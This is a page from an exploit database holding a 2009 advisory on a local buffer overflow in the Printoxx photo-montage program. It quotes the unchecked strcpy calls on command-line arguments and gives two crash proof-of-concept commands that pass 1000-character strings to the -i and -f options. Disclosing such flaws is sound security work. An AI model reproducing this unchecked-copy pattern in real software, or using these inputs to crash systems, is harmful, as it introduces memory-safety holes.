[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Printoxx Local Buffer Overflow

Author
sandman
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-8207
Category
local exploits
Date add
23-12-2009
Platform
unsorted
==============================
Printoxx Local Buffer Overflow
==============================


# Title: Printoxx Local Buffer Overflow
# CVE-ID: ()
# OSVDB-ID: ()
# Author: sandman
# Published: 2009-12-23
# Verified: no

view source
print?
# Exploit Title: Printoxx Local Buffer Overflow
# Date: 23 Dec, 2009
# Software Link: http://kornelix.squarespace.com/printoxx/, http://kornelix.squarespace.com/storage/downloads/printoxx-2.1.2.tar.gz
 
# Version: <= 2.1.2
# Tested on: Fedora 12
# CVE: None
# Code:
 
Description:
"from website"
Printoxx is a free open source Linux program for making and printing a
photo montage. Images can be added to a layout page using the mouse to
 
select and drop into place. Images can be moved around and resized
using the mouse. Text can be added using any font, and moved around as
needed.
 
Vulnerability:
Printoxx does not check the length of input filename/directory thus overwriting the buffer [1000 in size] with a call to strcpy. The affected code segment is shown below.
 
 
Affected Code Segment:
  .....
      else if (strEqu(argv[ii],"-i") && argc > ii+1)                       //  -i imageDirectory
            strcpy(imagedirk,argv[++ii]);   //Overflow
      else if (strEqu(argv[ii],"-f") && argc > ii+1)                       //  -f imageFile
 
            strcpy(clfile,argv[++ii]);      //Overflow
      else strcpy(clfile,argv[ii]);         //Overflow                     //  assume imageFile
   }
......
 
Proof Of Concept:
Image filename overflow:
 
$ ./printoxx -i $(python -c 'print "A"*1000')
 
Directory filename overflow:
$ ./printoxx -f $(python -c 'print "A"*1000')
 
Severity: Very Low
 
Note: Since this was tested on Fedora 12, the system automatically detected the operation as a possible buffer overflow attempt instead of a regular segfault. This is due to the fact that all executables on Red-Hat
 
RHEL and Fedora systems are compiled with canaries enabled.
 
#$



#  0day.today [2024-12-24]  #